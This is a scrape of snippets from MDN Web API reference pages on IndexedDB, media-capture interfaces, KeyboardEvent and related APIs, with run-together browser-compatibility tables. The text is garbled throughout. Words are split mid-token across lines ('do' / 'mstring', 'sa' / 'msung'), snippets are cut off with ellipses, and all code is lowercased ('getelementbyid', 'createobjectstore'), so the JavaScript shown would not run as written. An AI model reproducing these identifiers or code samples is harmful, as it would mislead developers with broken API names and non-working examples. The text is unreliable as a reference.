syntax refstr = scriptelem.referrerpolicy; scriptelem.referrerpolicy = refstr; value a do
mstring; one of the following: no-referrer the referer header will be omitted entirely.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreferrerpolicychrome full support 70edge full support ≤79firefox full support 65ie no support noopera full support yessafari no support ...
... nowebview android full support 70chrome android full support 70firefox android full support 65opera android full support yessafari ios no support nosa
msung internet android full support 10.0legend full support full support no support no support ...
HTMLSlotElement.name - Web APIs
syntax var name = htmlslotelement.name htmlslotelement.name = name value a do
mstring.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetname experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exclusive):...
...to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10.3sa
msung internet android full support 6.0legend full support full support no support no supportexperimental.
IDBCursor.direction - Web APIs
the direction read-only property of the idbcursor interface is a do
mstring that returns the direction of traversal of the cursor (set using idbobjectstore.opencursor for example).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdirectionchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBCursor.key - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetkeychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yesbinary keyschrome full support 58edge full support ≤79firefox full support 51ie ?
... opera android full support 43safari ios full support 10.3sa
msung internet android full support 7.0legend full support full support partial support partial support compatibility unknown compatibility unknownreq...
IDBCursor.source - Web APIs
within each iteration we log the source of the cursor, which will log our idbobjectstore object to the console, something like this: idbobjectstore {autoincrement: false, transaction: idbtransaction, indexnames: do
mstringlist, keypath: "albumtitle", name: "rushalbumlist"…} the cursor does not require us to select the data based on a key; we can just grab all of it.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsourcechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase.createObjectStore() - Web APIs
request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += "<li>error loading database.</li>"; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data ite
ms the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcreateobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase.onabort - Web APIs
deneeded = function(event) { var db = event.target.result; db.onerror = function() { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function() { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data ite
ms the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonabortchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase.onerror - Web APIs
needed = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data ite
ms the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonerrorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabase.onversionchange - Web APIs
function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data ite
ms the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonversionchangechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBDatabaseException - Web APIs
message do
mstring error message describing the exception raised.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidbdatabaseexception deprecatednon-standardchrome full support 12prefixed full support 12prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed full support ≤79prefixe...
... no support nowebview android no support nochrome android no support nofirefox android no support 4 — 14opera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportnon-standard.
IDBEnvironment - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidbenvironment deprecatednon-standardchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support ...
... 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5available in workers deprecatednon-standardchrome full support yesedge full support ≤18firefox full support 37ie ?
... sa
msung internet android full support yeslegend full support full support partial support partial support compatibility unknown compatibility unknownnon...
IDBFactory.deleteDatabase() - Web APIs
the method returns an idbopendbrequest object immediately, and perfor
ms the deletion operation asynchronously.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdeletedatabasechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndex.objectStore - Web APIs
the current object store is logged to the console: it should be returned something like this: idbobjectstore { name: "contactslist", keypath: "id", indexnames: do
mstringlist[7], transaction: idbtransaction, autoincrement: false } finally, we iterate through each record, and insert the data into an html table.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndexSync - Web APIs
idbdatabaseexception); void openobjectcursor (in optional idbkeyrange range, in optional unsigned short direction) raises (idbdatabaseexception); any put (in any value, in optional any key) raises (idbdatabaseexception); void remove (in any key) raises (idbdatabaseexception); attributes attribute type description keypath readonly do
mstring the key path of this index.
... name readonly do
mstring the name of this index.
... storename readonly do
mstring this index's referenced object store.
IDBObjectStore.add() - Web APIs
duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>';...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetaddchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.autoIncrement - Web APIs
duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.autoincrement); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.in...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetautoincrementchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.createIndex() - Web APIs
dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data ite
ms the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcreateindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.deleteIndex() - Web APIs
window.indexeddb.open line above //it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data ite
ms the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdeleteindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.keyPath - Web APIs
duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtm...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetkeypathchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.transaction - Web APIs
duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.transaction); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.inne...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettransactionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBTransaction.abort() - Web APIs
duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetabortchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBTransaction.commit() - Web APIs
duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("myobjstore"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcommitchrome full support 76edge full support 79firefox full support 74ie no support noopera full support 63safari no support ...
... nowebview android full support 76chrome android full support 76firefox android no support noopera android full support 54safari ios no support nosa
msung internet android full support 12.0legend full support full support no support no support ...
IDBTransaction.db - Web APIs
duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdbchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 f...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBTransaction.error - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung interneterrorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitdomexception value instead of domerrorchrome full support 48edge full support ...
... nowebview android full support 48chrome android full support 48firefox android full support 58opera android full support yessafari ios no support nosa
msung internet android full support 5.0legend full support full support partial support partial support no support no supportrequires a vendor prefix ...
IDBTransaction.mode - Web APIs
duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmodechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBTransaction.objectStore() - Web APIs
duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetobjectstorechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBVersionChangeRequest.setVersion() - Web APIs
syntax idbversionchangerequest setversion ([treatnullas=emptystring] in do
mstring version); example tbd parameters version the version to store in the database.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsetversion deprecatednon-standardchrome no support noedge no support nofirefox no support noie no support noopera no support nosafari no support ...
... nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nolegend no support no supportnon-standard.
IDBVersionChangeRequest - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidbversionchangerequest deprecatednon-standardchrome no support 12 — 23prefixed no support 12 — 23prefixed prefixed implemented with the vendor prefix: webkitedge ?
...port nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nosetversion deprecatednon-standardchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...port nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nolegend no support no support compatibility unknown compatibility unknownnon-standard.
KeyboardEvent() - Web APIs
syntax event = new keyboardevent(typearg, keyboardeventinit); values typearg is a do
mstring representing the name of the event.
... keyboardeventinitoptional is a keyboardeventinit dictionary, having the following fields: "key", optional and defaulting to "", of type do
mstring, that sets the value of keyboardevent.key.
... "code", optional and defaulting to "", of type do
mstring, that sets the value of keyboardevent.code.
LocalFileSystem - Web APIs
you can call the method more than once if you want to create two file syste
ms: one that's temporary and one that's persistent.
... window.requestfilesystem(window.persistent, 1024*1024,oninitfs,errorhandler); method overview void requestfilesystem (in unsigned short type, in unsigned long long size, in filesystemcallback successcallback, in optional errorcallback errorcallback); void resolvelocalfilesystemurl (in do
mstring url, in entrycallback successcallback, in optional errorcallback errorcallback); constants constant value description temporary 0 transient storage that can be be removed by the browser at its discretion.
... void resolvelocalfilesystemurl( in do
mstring url, in entrycallback successcallback, in optional errorcallback errorcallback ); parameters url the url of a local file in the file system.
MediaDeviceInfo.groupId - Web APIs
the groupid readonly property of the mediadeviceinfo interface returns a do
mstring that is a group identifier.
... syntax var groupid = mediadeviceinfo.groupid; value a do
mstring which uniquely identifies the group of related devices to which this device belongs.
... specifications specification status comment media capture and strea
msthe definition of 'groupid' in that specification.
MediaDeviceInfo.label - Web APIs
the label readonlyinline property of the mediadeviceinfo interface returns a do
mstring, that is a label describing this device (for example "external usb webcam").
... syntax var label = mediadeviceinfo.label; value a do
mstring which describes the media device.
... specifications specification status comment media capture and strea
msthe definition of 'label' in that specification.
MediaDevices.ondevicechange - Web APIs
let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(
msg) { logelement.innerhtml +=
msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate: 30 }, audio: { samplerate: 44100, samplesize: 16, volume: 0.25 } }).then(stream => { videoelement.srcobject = stream; updat...
...this uses destructuring assignment (a new feature of ecmascript 6) to assign the values of the first three ite
ms in the array returned by string.match() to the variables kind, type, and direction.
... result specifications specification status comment media capture and strea
msthe definition of 'ondevicechange' in that specification.
MediaError.message - Web APIs
the read-only property mediaerror.message returns a do
mstring which contains a human-readable string offering specific diagnostic details related to the error described by the mediaerror object, or an empty string ("") if no diagnostic information can be determined or provided.
... syntax var errormessage = mediaerror.message; value a do
mstring providing a detailed, specific explanation of what went wrong and possibly how it might be fixed.
... this is not simply a generic description of the mediaerror.code property's value, but instead goes deeper into the specifics of this particular error and its circu
mstances.
MediaKeyMessageEvent() - Web APIs
syntax var mediakeymessageevent = new mediakeymessageevent(typearg, options) parameters typearg a do
mstring containing one of may be one of license-request, license-renewal, license-renewal, or individualization-request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmediakeymessageevent() constructor experimentalchrome full support 42edge full support ≤18firefox ?
... sa
msung internet android full support 4.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
MediaSession.playbackState - Web APIs
syntax let playbackstate = mediasession.playbackstate; mediasession.playbackstate = playbackstate; value a do
mstring indicating the current playback state of the media session.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetplaybackstate experimentalchrome full support 73edge full support ≤79firefox no support noie no support noopera full support yessafari ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
MediaStream.getTracks() - Web APIs
example navigator.mediadevices.getusermedia({audio: false, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the stream after 5 seconds settimeout(() => { const tracks = mediastream.gettracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and strea
msthe definition of 'gettracks()' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgettracks experimentalchrome full support 45edge full support 12firefox full support yesie no support noopera full support yessafari full support ...
... yeswebview android full support 45chrome android full support 45firefox android full support yesopera android no support nosafari ios full support yessa
msung internet android full support 5.0legend full support full support no support no supportexperimental.
MediaStreamConstraints.audio - Web APIs
-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(
msg) { logelement.innerhtml +=
msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain an audio-only ...
...-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(
msg) { logelement.innerhtml +=
msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, echocancellation: true } }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click eve...
... result specifications specification status comment media capture and strea
msthe definition of 'mediastreamconstraints.audio' in that specification.
MediaStreamConstraints.video - Web APIs
video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(
msg) { logelement.innerhtml +=
msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain a video-only...
...video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(
msg) { logelement.innerhtml +=
msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate: 15 } }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handle...
... result specifications specification status comment media capture and strea
msthe definition of 'mediastreamconstraints.video' in that specification.
MediaStreamTrack.kind - Web APIs
the mediastreamtrack.kind read-only property returns a do
mstring set to "audio" if the track is an audio track and to "video", if it is a video track.
... syntax const type = track.kind value the possible values are a do
mstring with on of the following values: "audio": the track is an audio track.
... specifications specification status comment media capture and strea
msthe definition of 'mediastreamtrack.kind' in that specification.
MediaStreamTrackAudioSourceNode - Web APIs
the mediastreamtrackaudiosourcenode interface is a type of audionode which represents a source of audio data taken from a specific mediastreamtrack obtained through the webrtc or media capture and strea
ms apis.
...usermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastrea
msource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the ...
... range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastrea
msource(), audio playback from the media stream will be re-routed into the processing graph of the audiocontext.
MediaTrackConstraints.deviceId - Web APIs
the mediatrackconstraints dictionary's deviceid property is a constraindo
mstring describing the requested or mandatory constraints placed upon the value of the deviceid constrainable property.
... syntax var constraintsobject = { deviceid: constraint }; constraintsobject.deviceid = constraint; value an object based on constraindo
mstring specifying one or more acceptable, ideal, and/or exact (mandatory) device ids which are acceptable as the source of media content.
... specifications specification status comment media capture and strea
msthe definition of 'deviceid' in that specification.
MediaTrackConstraints.facingMode - Web APIs
the mediatrackconstraints dictionary's facingmode property is a constraindo
mstring describing the requested or mandatory constraints placed upon the value of the facingmode constrainable property.
... syntax var constraintsobject = { facingmode: constraint }; constraintsobject.facingmode = constraint; value an object based on constraindo
mstring specifying one or more acceptable, ideal, and/or exact (mandatory) facing modes are acceptable for a video track.
... specifications specification status comment media capture and strea
msthe definition of 'facingmode' in that specification.
MediaTrackConstraints.groupId - Web APIs
the mediatrackconstraints dictionary's groupid property is a constraindo
